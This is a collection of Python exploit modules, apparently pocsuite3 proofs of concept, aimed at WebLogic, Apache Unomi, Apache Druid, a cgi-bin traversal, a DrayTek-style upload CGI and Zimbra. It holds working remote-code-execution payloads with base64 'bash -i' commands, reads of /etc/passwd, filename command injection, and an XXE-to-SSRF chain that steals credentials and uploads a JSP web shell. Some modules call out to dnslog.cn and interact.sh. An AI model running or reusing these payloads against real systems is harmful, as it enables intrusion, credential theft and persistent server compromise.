def check_weblogic_console_page(target): s = req.session() console_url = '/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1' if not target.startswith('http'): target = 'http://{}'.format(target) url = '{}{}'.format(target, console_url) try: # get session cookes r = s.get(url, allow_redirects=False) # 302 to portal if r.status_code == 302: r = s.get(url) if r.status_code == 200 and 'id="HomePage1"' in r.text: m = re.findall( '<p id="footerVersion">(.*?)</p>', r.text) if m: return (True, m[0]) else: return(True, '') return (False, '') except req.exceptions.ReadTimeout: return (False, 'timeout') except Exception as ex: # raise return (False, str(ex))
def _verify(self): result = {} getdnssub_url = 'http://www.dnslog.cn/getdomain.php' getres_url = 'http://www.dnslog.cn/getrecords.php' dnsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64' } dnssess = requests.session() #获取dnslog的subdomain try: dnsreq = dnssess.get(url=getdnssub_url, headers=dnsheaders, allow_redirects=False, verify=False, timeout=10) except Exception as e: logger.warn(str(e)) #执行ping dnslog的请求 pocurl = self.url + '/context.json' pocheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36', 'Content-Type': 'application/json;charset=UTF-8', 'Content-Length': '1003', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9' } payload = 'ping catchyou.' + dnsreq.text payload = 'bash -c {echo,' + (base64.b64encode( payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}' pocjson = '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName":"(#runtimeclass = #this.getClass().forName(\\"java.lang.Runtime\\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\\"getRuntime\\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\\"exec\\")}.{? #this.getParameters()[0].getType().getName().equals(\\"java.lang.String\\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\\"' + payload + '\\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"6666"} ' # pocjson = '{"filters": [{ "id": "6666","filters": [ {"condition": {"parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\\"bash -c {echo,' + (base64.b64encode(payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}\\");" }, "type": "profilePropertyCondition"}}]}],"sessionId": "6666"}' try: r2 = requests.post(url=pocurl, headers=pocheaders, data=pocjson, verify=False) #执行ping指令 time.sleep(5) except Exception as e: logger.warn(str(e)) #检查dnslog日志 try: dnsres = dnssess.get(url=getres_url, headers=dnsheaders, allow_redirects=False, verify=False, timeout=10) if dnsres.status_code == 200 and 'catchyou' in dnsres.text: result['VerifyInfo'] = {} # result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, pr.port) result['VerifyInfo']['URL'] = self.url result['extra'] = {} result['extra']['evidence'] = dnsres.text except Exception as e: logger.warn(str(e)) return self.parse_attack(result)
def _verify(self): result = {} getdnssub_url = 'http://www.dnslog.cn/getdomain.php' getres_url = 'http://www.dnslog.cn/getrecords.php' dnsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64' } dnssess = requests.session() #获取dnslog的subdomain try: dnsreq = dnssess.get(url=getdnssub_url, headers=dnsheaders, allow_redirects=False, verify=False, timeout=10) except Exception as e: logger.warn(str(e)) #执行ping dnslog的请求 pocurl = self.url + '/context.json' pocheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36', 'Content-Type': 'application/json;charset=UTF-8', 'Content-Length': '1003', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9' } payload = 'ping catchyou.' + dnsreq.text payload = 'bash -c {echo,' + (base64.b64encode( payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}' pocjson = '{"filters": [{ "id": "6666","filters": [ {"condition": {"parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\\" ' + payload + '\\");" }, "type": "profilePropertyCondition"}}]}],"sessionId": "6666"}' # pocjson = '{"filters": [{ "id": "6666","filters": [ {"condition": {"parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\\"bash -c {echo,' + (base64.b64encode(payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}\\");" }, "type": "profilePropertyCondition"}}]}],"sessionId": "6666"}' try: r2 = requests.post(url=pocurl, headers=pocheaders, data=pocjson, verify=False) #执行ping指令 time.sleep(5) except Exception as e: logger.warn(str(e)) #检查dnslog日志 try: dnsres = dnssess.get(url=getres_url, headers=dnsheaders, allow_redirects=False, verify=False, timeout=10) if dnsres.status_code == 200 and 'catchyou' in dnsres.text: result['VerifyInfo'] = {} # result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, pr.port) result['VerifyInfo']['URL'] = self.url result['extra'] = {} result['extra']['evidence'] = dnsres.text except Exception as e: logger.warn(str(e)) return self.parse_attack(result)
def _verify(self): result = {} getdnssub_url = 'http://www.dnslog.cn/getdomain.php' getres_url = 'http://www.dnslog.cn/getrecords.php' dnsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64' } dnssess = requests.session() #获取dnslog的subdomain try: dnsreq = dnssess.get(url=getdnssub_url, headers=dnsheaders, allow_redirects=False, verify=False, timeout=10) except Exception as e: logger.warn(str(e)) #执行ping dnslog的请求 pocurl = self.url + '/druid/indexer/v1/sampler?for=filter' pocheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64', 'Content-Type': 'application/json;charset=UTF-8', 'Content-Length': '1003', 'Accept': 'application/json, text/plain, */*', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9' } payload = 'ping catchyou.' + dnsreq.text pocjson = '{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\\"isRobot\\":true,\\"channel\\":\\"#x\\",\\"timestamp\\":\\"2021-2-1T14:12:24.050Z\\",\\"flags\\":\\"x\\",\\"isUnpatrolled\\":false,\\"page\\":\\"1\\",\\"diffUrl\\":\\"https://xxx.com\\",\\"added\\":1,\\"comment\\":\\"Botskapande Indonesien omdirigering\\",\\"commentLength\\":35,\\"isNew\\":true,\\"isMinor\\":false,\\"delta\\":31,\\"isAnonymous\\":true,\\"user\\":\\"Lsjbot\\",\\"deltaBucket\\":0,\\"deleted\\":0,\\"namespace\\":\\"Main\\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(\'' + payload + '\')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}' try: r2 = requests.post(url=pocurl, headers=pocheaders, data=pocjson, verify=False) #执行ping指令 time.sleep(5) except Exception as e: logger.warn(str(e)) #检查dnslog日志 try: dnsres = dnssess.get(url=getres_url, headers=dnsheaders, allow_redirects=False, verify=False, timeout=10) if dnsres.status_code == 200 and 'catchyou' in dnsres.text: result['VerifyInfo'] = {} # result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, pr.port) result['VerifyInfo']['URL'] = self.url result['extra'] = {} result['extra']['evidence'] = dnsres.text except Exception as e: logger.warn(str(e)) return self.parse_attack(result)
def _verify(self): result = {} path = '/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' url = self.url + path try: r = requests.Request('GET', url).prepare() r.url = url resq = requests.session().send(r, timeout=5, verify=False) if resq and resq.status_code == 200 and "root:x" in resq.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['POC'] = path except Exception as e: return return self.parse_output(result)
def _attack(self): result = {} file = self.get_option("path") url = self.url + file try: r = requests.Request('GET', url).prepare() r.url = url resq = requests.session().send(r, timeout=5, verify=False) t = resq.text print('output >>> \n' + t) t = t.replace(" ", "") result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = t except Exception as e: return
def __init__(self, token='', server=''): rsa = RSA.generate(2048) self.public_key = rsa.publickey().exportKey() self.private_key = rsa.exportKey() self.token = token self.server = server.lstrip('.') or 'interact.sh' self.headers = { "Content-Type": "application/json", } if self.token: self.headers['Authorization'] = self.token self.secret = str(uuid4()) self.encoded = b64encode(self.public_key).decode("utf8") guid = uuid4().hex.ljust(33, 'a') guid = ''.join( i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in guid) self.domain = f'{guid}.{self.server}' self.correlation_id = self.domain[:20] self.session = requests.session() self.session.headers = self.headers self.register()
def atk(self, url, cmd): magic = "EOFKAN9" s = requests.session() raw_data = """------WebKitFormBoundary Content-Disposition: form-data; name="abc"; filename="t';echo 1;{};echo '{}_" Content-Type: text/x-python-script ------WebKitFormBoundary--""".format(cmd, magic) url = "{}/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2".format(url) try: r = s.post( url, data=raw_data, headers={ 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary' }, verify=False) res = r.content.decode() # print(res) if magic in res: res = res[1:res.find(magic)].strip() return 'OK', res else: return 'ERROR', res except Exception as e: msg = repr(e) mmsg = msg.lower() if 'timed out' in mmsg: return 'TIMEOUT', msg elif 'refused' in mmsg: return 'REFUSED', msg else: return 'EXCEPTION', msg
from collections import OrderedDict import urllib.parse import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY from requests.api import patch from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests.sessions import session # 禁用安全请求警告 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) sessions = requests.session() class POC(POCBase): vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0 version = '1' #默认为1 author = ['luckying'] # PoC作者的大名 vulDate = '2021-10-19' #漏洞公开的时间,不知道就写今天 createDate = '2021-10-19' # 编写 PoC 的日期 updateDate = '2021-10-19' # PoC 更新的时间,默认和编写时间一样 references = [''] # 漏洞地址来源,0day不用写 name = 'Leadsec ACM后台任意文件下载' # PoC 名称 appPowerLink = '' # 漏洞厂商主页地址 appName = 'Leadsec ACM后台任意文件下载' # 漏洞应用名称 appVersion = '''V3.0''' # 漏洞影响版本 vulType = VUL_TYPE.WEAK_PASSWORD #漏洞类型,类型参考见 漏洞类型规范表 desc = ''' 网御上网行为管理系统 Leadsec ACM后台任意文件下载 '''
def _check(self, url): base_url = url.rstrip("/") # upload file name and content # modify by k8gege # Connect "shell.jsp" using K8fly CmdShell # Because the CMD parameter is encrypted using Base64(bypass WAF) filename = "shell.jsp" fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>' print(base_url) # dtd file url dtd_url = "https://k8gege.github.io/zimbra.dtd" """ <!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> """ xxe_data = r"""<!DOCTYPE Autodiscover [ <!ENTITY % dtd SYSTEM "{dtd}"> %dtd; %all; ]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request> </Autodiscover>""".format(dtd=dtd_url) # XXE stage headers = {"Content-Type": "application/xml"} print("[*] Get User Name/Password By XXE ") r = requests.post(base_url + "/Autodiscover/Autodiscover.xml", data=xxe_data, headers=headers, verify=False, timeout=15) #print r.text if 'response schema not available' not in r.text: print("have no xxe") exit() # low_token Stage import re pattern_name = re.compile( r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>" ) pattern_password = re.compile( r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>" ) username = pattern_name.findall(r.text)[0][2] password = pattern_password.findall(r.text)[0][2] print(username) print(password) auth_body = """<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="{xmlns}"> <account by="adminName">{username}</account> <password>{password}</password> </AuthRequest> </soap:Body> </soap:Envelope> """ print("[*] Get Low Privilege Auth Token") r = requests.post(base_url + "/service/soap", data=auth_body.format(xmlns="urn:zimbraAccount", username=username, password=password), verify=False) pattern_auth_token = re.compile(r"<authToken>(.*?)</authToken>") low_priv_token = pattern_auth_token.findall(r.text)[0] # print(low_priv_token) # SSRF+Get Admin_Token Stage headers["Cookie"] = "ZM_ADMIN_AUTH_TOKEN=" + low_priv_token + ";" headers["Host"] = "foo:7071" print("[*] Get Admin Auth Token By SSRF") r = requests.post( base_url + "/service/proxy?target=https://127.0.0.1:7071/service/admin/soap", data=auth_body.format(xmlns="urn:zimbraAdmin", username=username, password=password), headers=headers, verify=False) print(r.text) admin_token = pattern_auth_token.findall(r.text)[0] print("ADMIN_TOKEN:" + admin_token) f = { 'filename1': (None, "whocare", None), 'clientFile': (filename, fileContent, "text/plain"), 'requestId': (None, "12", None), } headers = {"Cookie": "ZM_ADMIN_AUTH_TOKEN=" + admin_token + ";"} print("[*] Uploading file") r = requests.post(base_url + "/service/extension/clientUploader/upload", files=f, headers=headers, verify=False) # print(r.text) print("Shell: " + base_url + "/downloads/" + filename) #print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)") print("[*] Request Result:") s = requests.session() r = s.get(base_url + "/downloads/" + filename, verify=False, headers=headers) # print(r.text) print("May need cookie:") print(headers['Cookie']) if r.status_code == 200: return base_url + "/downloads/" + filename, headers['Cookie'] return False